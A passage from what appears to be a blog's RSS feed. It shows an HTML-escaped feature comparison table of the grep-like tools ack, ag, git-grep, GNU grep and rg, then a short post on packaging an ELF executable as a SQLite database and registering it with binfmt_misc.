            &lt;th&gt;ag&lt;/th&gt;
            &lt;th&gt;git-grep&lt;/th&gt;
            &lt;th&gt;GNU grep&lt;/th&gt;
            &lt;th&gt;rg&lt;/th&gt;
        &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Enable color output&lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Underline matches&lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Set colors for various output items&lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Pipe output through a pager or other command&lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Separate match output with blank lines unless they are on adjacent lines&lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Group together all matches in a file&lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Specify group separator&lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Show the function name of the match&lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Show the function in which a match was found&lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Print a break between results from different files&lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Flush output on every line&lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
        &lt;tr&gt;
            &lt;th&gt;
                File finding
            &lt;/th&gt;
            &lt;th&gt;ack&lt;/th&gt;
            &lt;th&gt;ag&lt;/th&gt;
            &lt;th&gt;git-grep&lt;/th&gt;
            &lt;th&gt;GNU grep&lt;/th&gt;
            &lt;th&gt;rg&lt;/th&gt;
        &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Only print the files selected, without searching&lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Show which types each file has&lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;List searchable files that match a pattern&lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Read the list of files to search from FILE&lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Sort the found files lexically&lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Read the list of files to search from STDIN&lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Limit search to filenames matching a pattern&lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Search hidden files&lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
        &lt;tr&gt;
            &lt;th&gt;
                File inclusion/exclusion
            &lt;/th&gt;
            &lt;th&gt;ack&lt;/th&gt;
            &lt;th&gt;ag&lt;/th&gt;
            &lt;th&gt;git-grep&lt;/th&gt;
            &lt;th&gt;GNU grep&lt;/th&gt;
            &lt;th&gt;rg&lt;/th&gt;
        &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Search only files of a given type&lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Exclude files of a given type&lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Recurse into subdirectories&lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Recurse into subdirectories, following symlinks&lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;No descending into subdirectories&lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Add/remove directory from list of ignored dirs&lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Don&amp;#39;t respect ignore files (.gitignore, .ignore, etc)&lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Ignore files larger than a given size&lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Specify files to search&lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Ignore files/directories matching&lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Add filter for ignoring files&lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Include only files of recognized types&lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Follow symlinks&lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Don&amp;#39;t follow links to other devices&lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Search all types of files&lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Limit directory search depth&lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Search binary files&lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Treat files as binary&lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Don&amp;#39;t search in binary files&lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Treat binary files as if they were text&lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Search all text files&lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Search all files&lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Skip rules found in VCS ignore files (.gitignore, .hgignore, etc)&lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
        &lt;tr&gt;
            &lt;th&gt;
                File type specification
            &lt;/th&gt;
            &lt;th&gt;ack&lt;/th&gt;
            &lt;th&gt;ag&lt;/th&gt;
            &lt;th&gt;git-grep&lt;/th&gt;
            &lt;th&gt;GNU grep&lt;/th&gt;
            &lt;th&gt;rg&lt;/th&gt;
        &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Create a filetype, replacing the previous specs&lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Add specifications to an existing filetype&lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Remove a file type&lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Ignore default type definitions&lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Display all known types&lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
        &lt;tr&gt;
            &lt;th&gt;
                Miscellaneous
            &lt;/th&gt;
            &lt;th&gt;ack&lt;/th&gt;
            &lt;th&gt;ag&lt;/th&gt;
            &lt;th&gt;git-grep&lt;/th&gt;
            &lt;th&gt;GNU grep&lt;/th&gt;
            &lt;th&gt;rg&lt;/th&gt;
        &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Print all lines, whether matching or not&lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Outputs a default ackrc for your customization to standard output&lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Dump information on which options are loaded&lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Specify a configuration file to use&lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Ignore environment variables and global configuration files&lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Treat standard input as a pipe&lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Search contents of compressed files (e.g. gzip)&lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
                &lt;tr&gt;
                    &lt;td&gt;Specify input file encoding&lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
                        &lt;/td&gt;
                        &lt;td&gt;
            &lt;span&gt;✔&lt;/span&gt;
                        &lt;/td&gt;
                &lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;</content:encoded>
</item>
<item>
<title>Your executable is a SQLite database</title>
<link>https://simonwillison.net/2026/Aug/24/your-executable-is-a-sqlite-database/</link>
<guid isPermaLink="false">o7mFKCpOb8ypQNmbxnvOnQligUL_tF7c6XpMrg==</guid>
<pubDate>Wed, 26 Aug 2026 01:19:54 +0000</pubDate>
<description>Your executable is a SQLite database Farid Zakaria describes a neat Linux pattern for creating a SQLite database file that can be directly used as an executable binary.The trick sets the SQLite file format&#39;s 4-byte application ID (68 bytes into the file) to SELF, standing for Structured Executable &amp; Linkable Format. The various components of the ELF executable format are then arranged into a number of different SQLite tables, using this schema. Their self-exec interpreter (C code here) can th...</description>
<content:encoded>&lt;p&gt;&lt;strong&gt;&lt;a href=&quot;https://fzakaria.com/2026/08/23/your-executable-is-a-sqlite-database&quot;&gt;Your executable is a SQLite database&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt; Farid Zakaria describes a neat Linux pattern for creating a SQLite database file that can be directly used as an executable binary.&lt;p&gt;The trick sets the SQLite file format&amp;#39;s 4-byte application ID (68 bytes into the file) to SELF, standing for Structured Executable &amp;amp; Linkable Format. The various components of the ELF executable format are then arranged into a number of different SQLite tables, using &lt;a href=&quot;https://github.com/fzakaria/selfdb/blob/main/schema/self.sql&quot;&gt;this schema&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Their &lt;code&gt;self-exec&lt;/code&gt; interpreter (&lt;a href=&quot;https://github.com/fzakaria/selfdb/blob/main/loader/self-exec.c&quot;&gt;C code here&lt;/a&gt;) can then extract and execute the necessary pieces.&lt;/p&gt;&lt;p&gt;You can additionally use a Linux mechanism called &lt;a href=&quot;https://docs.kernel.org/admin-guide/binfmt-misc.html&quot;&gt;binfmt_misc&lt;/a&gt; to teach the kernel to execute that any time it encounters an executable matching that binary pattern. Farid uses NixOS here, but without NixOS I think registration looks something like this:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;printf &amp;#39;%s\n&amp;#39; &amp;#39;:self:M:68:SELF::/usr/local/bin/self-exec:&amp;#39; \ &amp;gt; /proc/sys/fs/binfmt_misc/register&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Via &lt;a href=&quot;https://news.ycombinator.com/item?id=49415271&quot;&gt;Hacker News&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Tags: &lt;a href=&quot;https://simonwillison.net/tags/c&quot;&gt;c&lt;/a&gt;, &lt;a href=&quot;https://simonwillison.net/tags/linux&quot;&gt;linux&lt;/a&gt;, &lt;a href=&quot;https://simonwillison.net/tags/sqlite&quot;&gt;sqlite&lt;/a&gt;&lt;/p&gt;</content:encoded>
</item>
<item>
<title>Quoting Linus Torvalds</title>
<link>https://simonwillison.net/2026/Aug/22/linus-torvalds/</link>
<guid isPermaLink="false">3D_mlU15701txRxgd6tDWRHc4zQq0Y3k1cIVzg==</guid>
<pubDate>Wed, 26 Aug 2026 01:19:54 +0000</pubDate>
